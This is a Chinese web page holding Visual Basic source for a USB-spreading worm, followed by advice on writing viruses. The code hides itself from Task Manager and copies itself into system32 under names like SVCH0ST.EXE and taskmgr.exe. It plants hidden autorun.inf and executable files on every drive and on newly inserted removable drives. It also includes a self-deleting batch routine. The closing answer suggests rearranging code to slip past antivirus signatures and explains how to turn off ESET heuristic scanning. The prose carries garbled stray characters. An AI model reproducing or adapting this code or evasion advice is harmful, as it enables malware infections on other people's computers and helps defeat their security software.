'原理:
' 每个电脑上都有一个硬盘和一个光驱或者有N个分驱
' 这些分驱相对来说,不会经常消失!
' 只有U盘或MP3接上后会多出一个,当拿走时会减少一个!
' 所以,在程序运行时,先备份电脑上当前的驱动器数量!
' 当发现加或减时就能确定是不是移返猜动设备!
' 正进行传播,因为题目要求,只传播如中U盘,加上自动运行文件!
' 就不用改写里面的文件!
' 要是没有看懂我的程序前,请不要运行!死了别怪我!
'----------------代码--------------------------
Dim num, nums '驱动器数
Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化!
'不准重复运行渣世山本病毒!
If App.PrevInstance Then
End
End If
'在任务管理器中隐身!
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数!
a2
'设置时间:为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"
'得到系统目录!得到后,自我复制到SYSTEM32下!
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) &"\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) &"\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) &"\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) &"C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函数
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) &"\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) &"\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) &"\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) &"\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到当前驱动器数!
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '时间函数
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num <>nums Then
If num >nums Then
a1
End If
If num <nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '写自我删除程序
On Error Resume Next
i = FreeFile
Open App.Path &"\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " &App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path &"\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path &"\" &App.EXEName &".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) &":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) &":\autorun.inf"
SetAttr Chr(dirid) &":\autorun.inf", vbHidden
SetAttr Chr(dirid) &" :\autorun.exe", vbHidden
Next
err1:
End Sub
vb完全可以写病毒,由于VB拥有RAD开发模式,所以用VB写的木马是很流行的,他可以屏蔽复杂的Windows底层机制,一个新手只要稍微有点基础,拖一个WINSOCK控件就可以写出最简单的木马(当然基本不能用,什么杀毒软件都能杀)。但是用VB写出的程序是需要运行库的,虽然不大,但还是极大制约了病毒的传播性,所以主流黑客情愿用VC+MFC,delphi,甚至ASM。当然不排除部分高手可以用VB进行纯API编程,这样世瞎梁的病毒不需运搜运行库,且有极高的运行效率。不过这样的人不多,且这种方法不实用,没有多少程序员希望将精力花在系统层上,多数人都希望在逻辑层或应用层上做文章。正因如此,很多病毒开发者选择RAD工具来开发,但不是VB,是C++BUILDER和DELPHI。从现在的角度来讲,VB不适合开发病毒,但并非没有用处,VB的优势在于他有一帮厉害的弟兄们。用神吵VBA写宏病毒,用VBS写蠕虫才是王道。win32病毒还是别用VB了吧。你用的是ESET NOD32吧,肯定把启发打开了橡大!为了绕开特征码,VB编的时候把程序部分代码写在另一个sub里,或者改变执行顺序,实在不行用其它函数代替。如果只在你电脑上运行的话可以关闭启发式扫描::
以ESET Smart security 4 为例
右键托盘图标->打开窗口->设置->高级设置->文件系统实时防护->点右面的纤如嫌设置按钮->选项->把启发式毁手扫描和高启发式扫描勾掉!
然后再运行下你的程序,OK!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)